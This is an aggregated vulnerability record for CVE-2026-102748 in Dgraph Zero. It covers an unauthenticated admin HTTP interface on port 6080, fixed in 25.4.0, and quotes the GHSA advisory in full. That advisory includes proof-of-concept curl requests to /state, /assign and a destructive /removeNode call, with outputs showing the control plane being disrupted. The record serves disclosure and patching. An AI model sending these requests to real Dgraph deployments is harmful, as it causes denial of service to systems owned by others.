{"id":"CVE-2026-102748","aliases":["EUVD-2026-101603","GHSA-qj98-gp63-54xj"],"status":"published","title":"Dgraph: Zero Unauthenticated HTTP Admin removeNode Denial of Service","description":"Dgraph is an open source distributed GraphQL database. Prior to 25.4.0, Dgraph Zero registers administrative HTTP routes on port 6080 without authentication when the administrative interface is enabled. The /removeNode route accepts attacker-controlled id and group values and passes them to Server.RemoveNode, where group 0 can trigger ProposePeerRemoval. A remote unauthenticated attacker who can reach the Zero HTTP port can read topology through /state, allocate identifiers through /assign, access the exposed /moveTablet administrative route, or remove membership through /removeNode, disrupting the Zero control plane and destabilizing Alpha nodes that depend on Zero. The route registration occurs in dgraph/cmd/zero/run.go, and the demonstrated membership-removal path reaches Server.RemoveNode and ProposePeerRemoval. This issue is fixed in version 25.4.0.","severity":{"version":"4.0","score":9.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:H","level":"critical","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.00615,"percentile":0.49801,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-306","CWE-862"],"published":"2026-10-14T18:34:15Z","modified":"2026-10-28T02:30:32Z","fixes":[{"ecosystem":"Go","package":"github.com/dgraph-io/dgraph/v25","fixed_in":["25.4.0"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"Go","package":"github.com/dgraph-io/dgraph/v25","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"25.3.8"},{"fixed":"25.4.0"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/dgraph-io/dgraph/v25","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"25.4.0"}]}]}],"products":[{"vendor":"dgraph-io","product":"dgraph"}],"references":[{"url":"https://github.com/dgraph-io/dgraph/security/advisories/GHSA-qj98-gp63-54xj","tags":["x_refsource_CONFIRM","advisory","web"]},{"url":"https://github.com/dgraph-io/dgraph/commit/c32f6041387fa631dbc057e265b71aec3384ead1","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/dgraph-io/dgraph/releases/tag/v25.4.0","tags":["x_refsource_MISC","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102748","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-qj98-gp63-54xj"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/102xxx/CVE-2026-102748.json","tags":["advisory"]},{"url":"https://github.com/dgraph-io/dgraph","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-102748","title":"Dgraph: Zero Unauthenticated HTTP Admin removeNode Denial of Service","description":"Dgraph is an open source distributed GraphQL database. Prior to 25.4.0, Dgraph Zero registers administrative HTTP routes on port 6080 without authentication when the administrative interface is enabled. The /removeNode route accepts attacker-controlled id and group values and passes them to Server.RemoveNode, where group 0 can trigger ProposePeerRemoval. A remote unauthenticated attacker who can reach the Zero HTTP port can read topology through /state, allocate identifiers through /assign, access the exposed /moveTablet administrative route, or remove membership through /removeNode, disrupting the Zero control plane and destabilizing Alpha nodes that depend on Zero. The route registration occurs in dgraph/cmd/zero/run.go, and the demonstrated membership-removal path reaches Server.RemoveNode and ProposePeerRemoval. This issue is fixed in version 25.4.0.","status":"published","published":"2026-10-14T18:34:15.971Z","modified":"2026-10-15T15:06:27.332Z","cvss":[{"version":"4.0","score":9.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:H","level":"critical","assessor":"cna"}],"cwes":["CWE-306","CWE-862"],"updated_at":"2026-11-02T13:39:05.585774Z"}],"euvd":[{"id":"EUVD-2026-101603","description":"Dgraph is an open source distributed GraphQL database. Prior to 25.4.0, Dgraph Zero registers administrative HTTP routes on port 6080 without authentication when the administrative interface is enabled. The /removeNode route accepts attacker-controlled id and group values and passes them to Server.RemoveNode, where group 0 can trigger ProposePeerRemoval. A remote unauthenticated attacker who can reach the Zero HTTP port can read topology through /state, allocate identifiers through /assign, access the exposed /moveTablet administrative route, or remove membership through /removeNode, disrupting the Zero control plane and destabilizing Alpha nodes that depend on Zero. The route registration occurs in dgraph/cmd/zero/run.go, and the demonstrated membership-removal path reaches Server.RemoveNode and ProposePeerRemoval. This issue is fixed in version 25.4.0.","status":"published","published":"2026-10-14T18:34:15Z","modified":"2026-10-15T15:06:27Z","cvss":[{"version":"4.0","score":9.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:H","level":"critical"}],"updated_at":"2026-11-02T17:00:14.20041Z"}],"ghsa":[{"id":"GHSA-qj98-gp63-54xj","title":"Dgraph: Zero Unauthenticated HTTP Admin removeNode Denial of Service","description":"### Summary\n\nDgraph `v25.3.8` exposes a Zero HTTP administrative surface that is unauthenticated when port `6080` is reachable.\n\nThe exposed routes include:\n\n- `/state`\n- `/assign`\n- `/removeNode`\n- `/moveTablet`\n\nAn unauthenticated request to `/removeNode?id=1\u0026group=0` on a single-node standalone deployment breaks the Zero control plane and leaves Alpha repeatedly failing to reconnect to `localhost:5080`.\n\n### Details\n\nThe issue exists because Zero administrative HTTP endpoints are registered directly without any authentication or IP-whitelist wrapper.\n\nRelevant code paths:\n\n- `worker/server_state.go:41`\n- `dgraph/cmd/zero/run.go:295-301`\n- `dgraph/cmd/zero/http.go:106-129`\n- `dgraph/cmd/zero/zero.go:475-477`\n\nThe relevant behavior is:\n\n- `disable-admin-http=false` by default\n- `/removeNode` accepts attacker-controlled `id` and `group`\n- `removeNode` forwards those directly into `Server.RemoveNode`\n- for `group=0`, `Server.RemoveNode` immediately calls `ProposePeerRemoval`\n\nThis means a remote unauthenticated caller can directly trigger destructive membership operations if `6080` is exposed.\n\n### PoC\n\n### Read state without authentication\n\n```bash\ncurl -i http://127.0.0.1:6080/state\n```\n\nObserved response included:\n\n- Zero node `id=1`\n- `groupId=0`\n- `leader=true`\n- cluster topology and tablet state\n\n\u003cimg width=\"1878\" height=\"810\" alt=\"图片\" src=\"https://github.com/user-attachments/assets/c6a0001c-bcf7-45b6-a301-481f918be98a\" /\u003e\n\n### Write-capable route without authentication\n\n```bash\ncurl -i 'http://127.0.0.1:6080/assign?what=nsids\u0026num=1'\n```\n\nObserved response:\n\n```text\nHTTP/1.1 200 OK\n...\n{\"startId\":\"1\", \"endId\":\"1\", \"readOnly\":\"0\"}\n```\n\nThis confirms the admin plane is not merely informational.\n\n\u003cimg width=\"1877\" height=\"805\" alt=\"图片\" src=\"https://github.com/user-attachments/assets/caf60927-83ba-495d-8c55-e48343b8a2c7\" /\u003e\n\n### Destructive unauthenticated removeNode\n\n```bash\ncurl -i 'http://127.0.0.1:6080/removeNode?id=1\u0026group=0'\n```\n\nObserved result:\n\n```text\ncurl: (52) Empty reply from server\n```\n\n\u003cimg width=\"1877\" height=\"806\" alt=\"图片\" src=\"https://github.com/user-attachments/assets/a837c385-1c2d-42b6-a5c9-0d93a974ff4e\" /\u003e\n\nImmediately afterward:\n\n```bash\ncurl -i http://127.0.0.1:6080/health\n```\n\nObserved result:\n\n```text\ncurl: (56) Recv failure: Connection reset by peer\n```\n\n\u003cimg width=\"786\" height=\"47\" alt=\"图片\" src=\"https://github.com/user-attachments/assets/bd5e977d-d046-4626-b3df-155b141564fa\" /\u003e\n\nAlpha health was still locally reachable, but Alpha logs began repeatedly reporting:\n\n```text\ndial tcp [::1]:5080: connect: connection refused\n```\n\n\u003cimg width=\"1688\" height=\"197\" alt=\"图片\" src=\"https://github.com/user-attachments/assets/8ae3bb84-65bc-4951-ad32-5e1c3231c894\" /\u003e\n\nThis confirms the request reached the destructive path and disrupted the Zero control plane.\n\n### Impact\n\nAny deployment that exposes Zero HTTP on `6080` exposes destructive unauthenticated administrative capabilities.\n\nAn attacker can:\n\n- read cluster topology and control-plane metadata\n- allocate IDs and timestamps\n- invoke destructive membership actions\n- disrupt the Zero control plane\n- indirectly destabilize Alpha nodes that depend on Zero connectivity\n\nThis is a high-value unauthenticated administrative exposure and, in the reproduced case, a practical denial of service against the control plane.","status":"published","published":"2026-10-15T20:17:22Z","modified":"2026-10-15T20:17:23Z","cvss":[{"version":"4.0","score":9.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:H","level":"critical"}],"cwes":["CWE-306","CWE-862"],"updated_at":"2026-11-02T14:41:32.483482Z"}],"nvd":[{"id":"CVE-2026-102748","description":"Dgraph is an open source distributed GraphQL database. Prior to 25.4.0, Dgraph Zero registers administrative HTTP routes on port 6080 without authentication when the administrative interface is enabled. The /removeNode route accepts attacker-controlled id and group values and passes them to Server.RemoveNode, where group 0 can trigger ProposePeerRemoval. A remote unauthenticated attacker who can reach the Zero HTTP port can read topology through /state, allocate identifiers through /assign, access the exposed /moveTablet administrative route, or remove membership through /removeNode, disrupting the Zero control plane and destabilizing Alpha nodes that depend on Zero. The route registration occurs in dgraph/cmd/zero/run.go, and the demonstrated membership-removal path reaches Server.RemoveNode and ProposePeerRemoval. This issue is fixed in version 25.4.0.","status":"published","published":"2026-10-14T19:17:05.7Z","modified":"2026-10-15T16:17:32.45Z","cvss":[{"version":"4.0","score":9.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"critical","assessor":"secondary"}],"cwes":["CWE-306","CWE-862"],"updated_at":"2026-11-02T14:12:59.328869Z"}],"osv":[{"id":"CVE-2026-102748","title":"Dgraph: Zero Unauthenticated HTTP Admin removeNode Denial of Service","description":"Dgraph is an open source distributed GraphQL database. Prior to 25.4.0, Dgraph Zero registers administrative HTTP routes on port 6080 without authentication when the administrative interface is enabled. The /removeNode route accepts attacker-controlled id and group values and passes them to Server.RemoveNode, where group 0 can trigger ProposePeerRemoval. A remote unauthenticated attacker who can reach the Zero HTTP port can read topology through /state, allocate identifiers through /assign, access the exposed /moveTablet administrative route, or remove membership through /removeNode, disrupting the Zero control plane and destabilizing Alpha nodes that depend on Zero. The route registration occurs in dgraph/cmd/zero/run.go, and the demonstrated membership-removal path reaches Server.RemoveNode and ProposePeerRemoval. This issue is fixed in version 25.4.0.","status":"published","published":"2026-10-14T18:34:15.971Z","modified":"2026-10-28T02:30:32.940686273Z","cvss":[{"version":"4.0","score":9.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:H","level":"critical"}],"cwes":["CWE-306","CWE-862"],"updated_at":"2026-11-02T15:44:53.83521Z"},{"id":"GHSA-qj98-gp63-54xj","title":"Dgraph: Zero Unauthenticated HTTP Admin removeNode Denial of Service","description":"### Summary\n\nDgraph `v25.3.8` exposes a Zero HTTP administrative surface that is unauthenticated when port `6080` is reachable.\n\nThe exposed routes include:\n\n- `/state`\n- `/assign`\n- `/removeNode`\n- `/moveTablet`\n\nAn unauthenticated request to `/removeNode?id=1\u0026group=0` on a single-node standalone deployment breaks the Zero control plane and leaves Alpha repeatedly failing to reconnect to `localhost:5080`.\n\n### Details\n\nThe issue exists because Zero administrative HTTP endpoints are registered directly without any authentication or IP-whitelist wrapper.\n\nRelevant code paths:\n\n- `worker/server_state.go:41`\n- `dgraph/cmd/zero/run.go:295-301`\n- `dgraph/cmd/zero/http.go:106-129`\n- `dgraph/cmd/zero/zero.go:475-477`\n\nThe relevant behavior is:\n\n- `disable-admin-http=false` by default\n- `/removeNode` accepts attacker-controlled `id` and `group`\n- `removeNode` forwards those directly into `Server.RemoveNode`\n- for `group=0`, `Server.RemoveNode` immediately calls `ProposePeerRemoval`\n\nThis means a remote unauthenticated caller can directly trigger destructive membership operations if `6080` is exposed.\n\n### PoC\n\n### Read state without authentication\n\n```bash\ncurl -i http://127.0.0.1:6080/state\n```\n\nObserved response included:\n\n- Zero node `id=1`\n- `groupId=0`\n- `leader=true`\n- cluster topology and tablet state\n\n\u003cimg width=\"1878\" height=\"810\" alt=\"图片\" src=\"https://github.com/user-attachments/assets/c6a0001c-bcf7-45b6-a301-481f918be98a\" /\u003e\n\n### Write-capable route without authentication\n\n```bash\ncurl -i 'http://127.0.0.1:6080/assign?what=nsids\u0026num=1'\n```\n\nObserved response:\n\n```text\nHTTP/1.1 200 OK\n...\n{\"startId\":\"1\", \"endId\":\"1\", \"readOnly\":\"0\"}\n```\n\nThis confirms the admin plane is not merely informational.\n\n\u003cimg width=\"1877\" height=\"805\" alt=\"图片\" src=\"https://github.com/user-attachments/assets/caf60927-83ba-495d-8c55-e48343b8a2c7\" /\u003e\n\n### Destructive unauthenticated removeNode\n\n```bash\ncurl -i 'http://127.0.0.1:6080/removeNode?id=1\u0026group=0'\n```\n\nObserved result:\n\n```text\ncurl: (52) Empty reply from server\n```\n\n\u003cimg width=\"1877\" height=\"806\" alt=\"图片\" src=\"https://github.com/user-attachments/assets/a837c385-1c2d-42b6-a5c9-0d93a974ff4e\" /\u003e\n\nImmediately afterward:\n\n```bash\ncurl -i http://127.0.0.1:6080/health\n```\n\nObserved result:\n\n```text\ncurl: (56) Recv failure: Connection reset by peer\n```\n\n\u003cimg width=\"786\" height=\"47\" alt=\"图片\" src=\"https://github.com/user-attachments/assets/bd5e977d-d046-4626-b3df-155b141564fa\" /\u003e\n\nAlpha health was still locally reachable, but Alpha logs began repeatedly reporting:\n\n```text\ndial tcp [::1]:5080: connect: connection refused\n```\n\n\u003cimg width=\"1688\" height=\"197\" alt=\"图片\" src=\"https://github.com/user-attachments/assets/8ae3bb84-65bc-4951-ad32-5e1c3231c894\" /\u003e\n\nThis confirms the request reached the destructive path and disrupted the Zero control plane.\n\n### Impact\n\nAny deployment that exposes Zero HTTP on `6080` exposes destructive unauthenticated administrative capabilities.\n\nAn attacker can:\n\n- read cluster topology and control-plane metadata\n- allocate IDs and timestamps\n- invoke destructive membership actions\n- disrupt the Zero control plane\n- indirectly destabilize Alpha nodes that depend on Zero connectivity\n\nThis is a high-value unauthenticated administrative exposure and, in the reproduced case, a practical denial of service against the control plane.","status":"published","published":"2026-10-15T20:17:22Z","modified":"2026-10-15T20:30:07.056401611Z","cvss":[{"version":"4.0","score":9.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:H","level":"critical"}],"cwes":["CWE-306","CWE-862"],"updated_at":"2026-11-02T15:46:54.760124Z"}]}}
